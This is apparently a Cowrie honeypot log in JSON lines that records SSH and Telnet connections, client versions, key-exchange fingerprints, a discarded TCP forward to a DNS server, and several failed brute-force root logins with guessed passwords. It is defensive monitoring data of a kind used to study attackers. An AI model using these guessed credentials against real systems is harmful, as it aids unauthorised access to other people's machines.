{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:42.813994Z","session":"97ce65fee9e5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:42.913728Z","src_ip":"87.251.64.176","session":"97ce65fee9e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:43.014829Z","src_ip":"87.251.64.176","session":"97ce65fee9e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:43.071656Z","src_ip":"20.203.59.187","session":"5adad20e7ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48152,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f1e848b6492","protocol":"telnet","message":"New connection: 192.119.13.58:48152 (10.17.0.5:23) [session: 8f1e848b6492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:43.075962Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":51376,"dst_ip":"10.17.0.5","dst_port":22,"session":"375d057ad166","protocol":"ssh","message":"New connection: 43.173.83.154:51376 (10.17.0.5:22) [session: 375d057ad166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:45.873528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:45.878195Z","src_ip":"43.173.83.154","session":"375d057ad166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:45.950510Z","src_ip":"43.173.83.154","session":"375d057ad166","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test01","message":"login attempt [root/test01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:46.259845Z","src_ip":"43.173.83.154","session":"375d057ad166","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":50878,"dst_ip":"10.17.0.5","dst_port":22,"session":"2450589d31a4","protocol":"ssh","message":"New connection: 80.66.85.226:50878 (10.17.0.5:22) [session: 2450589d31a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:46.381452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:46.385662Z","src_ip":"80.66.85.226","session":"2450589d31a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:46.475383Z","src_ip":"80.66.85.226","session":"2450589d31a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bibl","message":"login attempt [root/bibl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:46.743028Z","src_ip":"80.66.85.226","session":"2450589d31a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:47.331241Z","src_ip":"43.173.83.154","session":"375d057ad166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:47.835681Z","src_ip":"80.66.85.226","session":"2450589d31a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":52786,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc6ad7ef5d5b","protocol":"ssh","message":"New connection: 43.153.50.197:52786 (10.17.0.5:22) [session: fc6ad7ef5d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:50.588746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:50.592967Z","src_ip":"43.153.50.197","session":"fc6ad7ef5d5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:50.664386Z","src_ip":"43.153.50.197","session":"fc6ad7ef5d5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miao","message":"login attempt [root/miao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:50.969540Z","src_ip":"43.153.50.197","session":"fc6ad7ef5d5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:52.041188Z","src_ip":"43.153.50.197","session":"fc6ad7ef5d5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.32.153.180","src_port":59474,"dst_ip":"10.17.0.5","dst_port":22,"session":"8af1052a8711","protocol":"ssh","message":"New connection: 111.32.153.180:59474 (10.17.0.5:22) [session: 8af1052a8711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:56.057254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:56.062208Z","src_ip":"111.32.153.180","session":"8af1052a8711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":45408,"dst_ip":"10.17.0.5","dst_port":22,"session":"85f38426b751","protocol":"ssh","message":"New connection: 209.99.190.200:45408 (10.17.0.5:22) [session: 85f38426b751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:56.067490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:56.071880Z","src_ip":"209.99.190.200","session":"85f38426b751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:56.163778Z","src_ip":"209.99.190.200","session":"85f38426b751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:56.334858Z","src_ip":"111.32.153.180","session":"8af1052a8711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":53460,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5dd02a74ad2","protocol":"ssh","message":"New connection: 171.244.37.97:53460 (159.203.135.109:22) [session: f5dd02a74ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:56.441524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:56.452325Z","src_ip":"171.244.37.97","session":"f5dd02a74ad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx!@","message":"login attempt [root/qazwsx!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:56.563889Z","src_ip":"209.99.190.200","session":"85f38426b751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:56.699229Z","src_ip":"171.244.37.97","session":"f5dd02a74ad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blondes","message":"login attempt [root/blondes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:57.444446Z","src_ip":"111.32.153.180","session":"8af1052a8711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:57.658612Z","src_ip":"209.99.190.200","session":"85f38426b751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@12","message":"login attempt [root/Server@12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:57.718502Z","src_ip":"171.244.37.97","session":"f5dd02a74ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:58.716182Z","src_ip":"111.32.153.180","session":"8af1052a8711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:58.967264Z","src_ip":"171.244.37.97","session":"f5dd02a74ad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":54730,"dst_ip":"159.203.135.109","dst_port":22,"session":"edad60b991e1","protocol":"ssh","message":"New connection: 43.135.164.198:54730 (159.203.135.109:22) [session: edad60b991e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:59.095851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:59.100707Z","src_ip":"43.135.164.198","session":"edad60b991e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:59.169534Z","src_ip":"43.135.164.198","session":"edad60b991e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":34560,"dst_ip":"159.203.135.109","dst_port":22,"session":"28a85aa21f32","protocol":"ssh","message":"New connection: 51.250.105.222:34560 (159.203.135.109:22) [session: 28a85aa21f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:59.325775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:59.330657Z","src_ip":"51.250.105.222","session":"28a85aa21f32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:59.460115Z","src_ip":"51.250.105.222","session":"28a85aa21f32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuser","message":"login attempt [root/fuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:59.479134Z","src_ip":"43.135.164.198","session":"edad60b991e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rehbwf","message":"login attempt [root/rehbwf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:59.846215Z","src_ip":"51.250.105.222","session":"28a85aa21f32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:00.551720Z","src_ip":"43.135.164.198","session":"edad60b991e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:05:00.978863Z","src_ip":"51.250.105.222","session":"28a85aa21f32","protocol":"ssh"}
